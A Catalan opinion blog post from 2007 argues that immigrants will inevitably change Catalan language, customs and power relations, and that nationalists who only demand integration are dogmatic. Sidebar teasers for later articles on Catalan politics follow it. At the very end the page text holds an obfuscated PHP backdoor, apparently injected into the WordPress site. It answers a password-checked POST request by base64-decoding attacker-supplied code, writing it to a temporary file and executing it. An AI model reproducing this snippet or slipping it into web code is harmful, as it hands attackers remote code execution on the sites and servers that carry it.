Canviarem

18 d'octubre de 2007 1

Canviarem.

Els immigrants ens canviaran. Podem posar-nos-hi com vulguem, podem fer proclames sobre els valors eterns de la catalanitat i podem reclamar: és el que ve qui ha d’adaptar-se al que ja hi era! Però canviarem. Canviarà l’idioma, canviaran les costums, canviaran les relacions de poder. Cada cop que apareix un debat que tingui ni que sigui una mica a veure amb els immigrants, la màxima subtilesa a la que arriben els defensors de la pàtria, o els que se senten amenaçats, consisteix a dir que sí, que bé, que no som racistes, ni xenòfobs, ni res de res, però que són ells els que s’han d’adaptar. I és cert. Però insuficient.

La nostra cultura, que no és pas neutral, ni casual, prové de l’avançar, a voltes tremolós, dels segles, prové del vaivé del clima, i de l’ímtima relació que els homes establim amb la orografia. L’idioma, l’art, la política, els drets. Res no és casual. Però res no ha estat orquestrat fins al darrer detall; perquè tot això no ho pot ser, d’orquestrat, per moltes ganes que hi posem. Dir que els immigrants s’han d’integrar i prou; no assumir que ja has canviat els horaris de compra gràcies als pakistanesos, que un falafel a les dues de la matinada és una solució, o que no sé quina espècie xinesa millora el teu arròs, és no estar preparat per l’impacte real, el que sorgirà a partir de les segones o terceres generacions del milió d’immigrants que viuen a Catalunya.

Enrocar-se només ens perjudica i dóna ales als nostres enemics; els cedeix tot l’espai argumental i totes les possibilitats de la vida. És com els espanyols amb la unitat d’Espanya: la pressuposen, la consideren un dogma, i mai no han desplegat els arguments econòmics, polítics o socials que podrien seduir molts catalans. El poder insititucional els sembla prou, apel.lar a la llei els sembla prou, i així, per molt nacionalistes que siguin, són incapaços de fer retrocedir un argument sobiranista un cop ha estat assumit per la majoria; perquè no poden rebatre’l, no saben com fer-s’ho, no els cap al cap; i els resta només el sentiment, que és el recurs dels covards, dels ignorants o dels desesperats.

Els dogmàtics de la coservació del passat de Catalunya no podran portar cap solució a la tensió que tot flux migratori implica. Els països que n’han patit abans que nosaltres, i l’experiència que tenim amb els espanyols dels 50 i 60, ensenyen que un cop s’entra en contacte amb els immigrants, els autòctons passen a ser també un factor de la immigració, un element transformat: no hi ha separació possible. No cal apel.lar als romans, o als visigots per demostrar-ho: amb Montilla paga.

Això no vol dir que haguem de ser només màquines racionals argumentatives, ni que haguem d’obrir-nos de cames davant de la novetat immigrada; això seria estúpid. Hi ha la vida, el tracte, el coneixement sensual de l’altre; i hi ha la necessitat de buscar convencions noves per a garantir el dret a ser, el nostre dret a ser, i a l’hora, la convivència, o la co-existència, tan se val. Ens hem d’afanyar a canviar el que volem canviar; el que és indispensable canviar, perquè amb la Catalunya d’ahir no ens en sortirem. Adaptar-se o morir.

Ara pots queixar-te i dir que no hi ha dret, que a més d’Espanya, només ens faltaven les mesquites, que de dones amb vel res de res, i que ja poden començar a parlar català a casa seva o que marxin; i potser et sentiràs més tranquil, i podràs passejar sentint-te un heroi íntegre, però no hauràs dit res més que “hagués preferit que no vinguéssin”. Tens tot el dret a pensar-ho, però això no soluciona res, mai no ho ha fet.

Com més aviat ho assumeixis, més aviat sabràs què és per tu irrenunciable, què és essencial, què garanteix la vida; i què és superflu, què és prescindible, quina és la pell que podrà sorgir de la nova intimitat amb el país, de la nova orografia cultural, vital i espiritual. La debilitat és la raó dels dogmàtics. El seu fracàs.

Etiquetes

Darrers articles

Què ha passat amb la CUP?

Vaig votar la CUP el desembre del 2017, després del Primer d’Octubre. Pensava que podien ser una força per controlar les pulsions destructives dels dos grans partits, que havien fet tot el possible per malbaratar la millor oportunitat que ha tingut Catalunya per treure’s el control d’Espanya del damunt i construir un món propi. Però […]

Per què Puigdemont no serveix per al futur de Catalunya

Puigdemont no serveix pel futur de Catalunya, almenys si el futur que volem no passa per la pacificació i la tornada enrere. La proposta de Puigdemont significa l’acceptació d’una falsa normalitat política que deixa en un calaix l’autodeterminació, convertint-la en una promesa etèria, i camina cap a un Govern autonòmic sense eines per defensar els […]

Propaganda colonial

Aquest anunci és tòxic: “La Generalitat governa bé.” Ve a dir que no hi ha cap problema. Que es pot viure sota aquest règim. Que és millor abandonar tot intent d’assenyalar el conflicte i carències de fons i encarar-los. Vol convèncer-nos que la mort és dolça. Mireu-lo: https://x.com/govern/status/1765721034731253906?s=20 La situació de Catalunya es que està […]

  • Cerca
  • if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}